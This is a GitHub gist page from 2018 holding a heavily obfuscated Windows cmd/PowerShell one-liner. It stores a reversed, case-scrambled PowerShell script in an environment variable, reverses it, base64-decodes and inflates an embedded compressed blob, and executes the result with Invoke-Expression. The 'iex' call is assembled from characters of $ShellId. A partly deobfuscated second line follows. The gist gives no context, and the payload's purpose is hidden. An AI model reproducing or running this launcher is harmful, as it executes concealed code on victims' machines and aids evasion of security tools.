Created
November 12, 2018 15:42
-
-
Save autinerd/6b5a0ed1ee6f3b1c4118c6ba05ae7eea to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cmd /c cmd /c "set vtb=Store-Variable H14a (")'Xei' (.^|)93]rAhC[,'UOr'eCalperC-'$',)'D6U'( eCalperC-'|',)'vpk'( eCalperC- )')UOrXUOr+]31[DiLleHsD6U+]1[diLLEHSD6U (^&vpk)(dneOtdaEr.))iICSA::]gNiDocNE.TXET.MEtSYs[, )) ssErpmOCed::]edomNoIsseRpmoC.noissErpmOC.Oi.MetsYS[ ,) UOrP4+usVoZJotY75NUYmueNCDxKnuGdhwMFyMjJQVe7zgT1KjsJ8fUpxr2bHKcOLtjmnL6nEyQ+tZ3wkAwYuH0ebs/eYGkwWLdIUo21impZs8gDGqOdzn2pYXJg3JlLNC5D77v8El1fkeegklUWP5MPf8rO6xnffUGAOVVVJomJxCUM+SOlfLzfbZx4jDQ6TWhuz3SBbWD/ngGqO7ARGjUnVz/X2KXSP498UiJRgRnelNYTXw9CndtliYVUF5SoRxT/GQ2sYgzwK4PN8EUUryvy4wcX68//vNuBeHeIBGUlA6Ob1Tb3k4iLmopq3gTmi0apScJVGcHmsYhfZIFwMoTRDZNUOr(gNirts46ESabMORf::]Trevnoc[]mAErtsyRomEm.oi[ (maErTsETAlfed.noISserpmOC.oI.mEtSYS TCEjbo-WEn ( (redaerMAerTS.Oi.MetSyS TCEjbo-WEn( '(( " );^&((gi VarIAble:h14a).value[-1..-((gi VarIAble:h14a).value.lenGtH)]) &&powershell (item env:vtb).Value | iex" | |
(New-Object System.IO.StreamReader((New-Object System.IO.Compression.DeflateStream([IO.MemoryStream][System.Convert]::FromBase64String(),[System.IO.Compression.CompressionMode]::Decompress)), [System.Text.Encoding]::ASCII)).ReadToEnd()kpv&(u6dshellid[1]+u6dshellid[31]+rouxrou) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment